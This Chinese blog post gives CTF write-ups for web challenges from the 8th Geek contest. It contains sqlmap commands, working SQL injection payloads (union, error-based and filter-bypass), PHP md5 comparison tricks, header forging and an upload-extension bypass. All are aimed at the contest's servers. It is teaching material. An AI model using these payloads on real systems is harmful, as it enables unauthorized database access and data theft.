第八届Geek部分web

第八届Geek部分web

WEB

故道白云

方法一sqlmap:

sqlmap -u “http://game.sycsec.com:2006/?id=1&submit=submit“ –dbs
查找表
sqlmap -u “http://game.sycsec.com:2006/?id=1&submit=submit“ -D f1ag –tables
通过2中的表得出列名
sqlmap -u “http://game.sycsec.com:2006/?id=1&submit=submit“ -D f1ag -T flag –columns
获取字段的值
sqlmap -u “http://game.sycsec.com:2006/?id=1&submit=submit“ -D f1ag -T flag -C “f4ag” –dump


SYC{HACKEr_By-cL0und}

方法二手注:

首先测试
这里写图片描述

没有过滤#号,然后应该就知道干啥了

http://game.sycsec.com:2006/?submit=submit&id=0'union select 1,1%23

http://game.sycsec.com:2006/?submit=submit&id=0'union select SCHEMA_NAME,1 from information_schema.SCHEMATA limit 1,1%23

http://game.sycsec.com:2006/?submit=submit&id=0'union select TABLE_NAME,1 from information_schema.TABLES where TABLE_SCHEMA='f1ag' limit 0,1%23

http://game.sycsec.com:2006/?submit=submit&id=0'union select COLUMN_NAME,1 from information_schema.COLUMNS where TABLE_NAME='flag' limit 0,1%23

http://game.sycsec.com:2006/?submit=submit&id=0'union select f4ag,1 from f1ag.flag%23

SYC{HACKEr_By-cL0und}

粗心的李超

通过dirb扫描后台

备份文件泄露,index.php.bak


flag:SYC{just_brute_is_ok!}

Buy me a Tesla

一看sign参数就有猫腻

发现就是url解密一下然后base64解密三次即可

反编码
带入sign

SYC{KeYiGeiWoMaiYiGeZhenDeTeslaMa?}

PHP的悖论1

题目:

链接:http://game.sycsec.com:2009/10111.php
解题思路:

1.题目的意思很明了,要post两个变量使得if语句成立拿flag。

了解了一下==,===,!=和!==的含义,这里po出来,也算是一种复习了。

Tips:a==b: 意思是a和b的值相等,但类型不需要相同。

a===b: 意思是a和b的值和类型都要相同。

!=和!===的区别和上述类似。

2.大致了解了基本含义之后剖析题目,这个if语句成立的条件是s1和s2的值和类型都不相同,并且其经过MD5加密之后的值和类型要完全相同。看起来有点绕,并且毫无思路。看了一个博客就get了,附上链接http://www.cnblogs.com/weidiao/p/6821812.html。

3.可以知道,如果将s1和s2都变为数组,并且值不同,便可以满足if的条件,得到flag。
关键语句

if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) === md5($_POST['s2'])) { echo $flag; }

这个很容易就想到是利用md5处理数组的漏洞了吧,构造如下即可

PHP的悖论2

题目:

http://game.sycsec.com:2009/20022.php

解题思路:
仔细看看会发现‘===’变成了‘==’,于是只需要值相等,网上搜了搜字符串不同但MD5相等

if ($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) == md5($_POST['s2'])) { echo $flag; }

于是构造payload:

240610708
s878926199a
SYC{Y0u_g0th3w4y_to_k111==}

视频播放器

这个还是非常好玩儿的,利用的是一个ffmpeg的漏洞,这个原理有些厉害了,但是利用过程十分简单
http://www.freebuf.com/vuls/138377.html
然后下载源码,生成恶意文件
然后上传恶意文件即可读到flag

SYC{WhatIsExpFuckNoLiaoDe???}

iPhone X

方法一

题目提示要iPhone X访问,需要UA头包含CPU iPhone OS X字样,之后提示IP不符合规则,同时修改xff和ref头尾127.0.0.1得到flag

GET /web_competition/geekCompetition/web_3/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS X like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/13D15 UCBrowser/10.9.15.793 Mobile Gecko/20100101 Firefox/55.0
Referer: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-FORWARDED-FOR: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

方法二

0x01 抓包
0x02 改包
由于题目说只有iphoneX才能接受这个website,所以联想到要将user-agent改为iPhone的版本。
如图,好不容易找到iphone的user-agent,它却说ip不对,改x-forward-for为127.0.0.1,没懂hh。用modify headers,于是来到第三步。

0x03 改IP

看网上的安装和使用的博客,于是得到如图

0x04 Get_the_flag

改了之后重新抓包,改包,go了之后发现还是一样,黑人问号???一定是modify headers没用对,返回看了下,发现还要点个start,难受了。
再来一遍抓包改包,得到flag。

Tip:之后发现可以直接在repeater里加X-Forwarded-For:127.0.0.1,也能拿到flag。

SYC{UA_AND_IP_COULD_BEFORGED!!!}

Clound的错误

http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema='f1ag' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='flag' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

http://game.sycsec.com:2007/?sycid=1'+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,f4ag,0x7e) FROM f1ag.flag LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

大大的标题

首先看到了标题是upload是一个文件上传的问题,首先扫描一下目录直接发现存在源码泄露?1.zip文件下载得到源码
一开始最关键的代码在这里

$file_ext = substr( $file_name, strrpos( $uploaded_name, ‘.’ ) + 1);

这个是检测最后一个点的位置,类似于解析漏洞是的,但是怎么也没想到就是单纯的后缀名过滤不全…
我们看着

$allow_ext=array(“php”,”php3”,”php4”,”php5”,”phpt”,”phtml”);

是不是少了什么…比如说.pht,结果随便一试试就出来了

SYC{CLound-upL0ad}

Clound的错误2

过滤了空格用%a0绕过,过滤了注释用;%00绕过
过滤了or使用oorr绕过,过滤的其他关键词使用+绕过whe+re

sycid=1'%a0a+nd%a0(updatexml(0x3a,concat(0x7e,(sel+ect%a0group_concat(SCHEMA_NAME)%a0fr+om%a0infoorrmation_schema.SCHEMATA)),0x7e));%00
sycid=1'%a0a+nd%a0(updatexml(0x3a,concat(0x7e,(sel+ect%a0group_concat(table_name)%a0fr+om%a0infoorrmation_schema.tables%a0whe+re%a0table_schema='f1ag')),0x7e));%00
sycid=1'%a0a+nd%a0(updatexml(0x3a,concat(0x7e,(sel+ect%a0column_name%a0fr+om%a0infoorrmation_schema.columns%a0whe+re%a0table_name='flag'%a0limit%a00,1)),0x7e));%00
sycid=1'%a0a+nd%a0(updatexml(0x3a,concat(0x7e,(sel+ect%a0f4ag%a0fr+om%a0f1ag.flag)),0x7e));%00

flag:SYC{Err0R_sQl_inj2}

二进制不会慢慢学
re:
http://www.cnblogs.com/L1B0/p/7763016.html
http://blog.sycsec.com/
http://blog.csdn.net/qq_35078631/article/details/78308518


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:第八届Geek部分web

文章字数:1,545

本文作者:Mang0

发布时间:2017-10-20, 16:07:05

最后更新:2018-11-02, 21:52:18

原始链接:http://mang0.me/archis/83955867/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏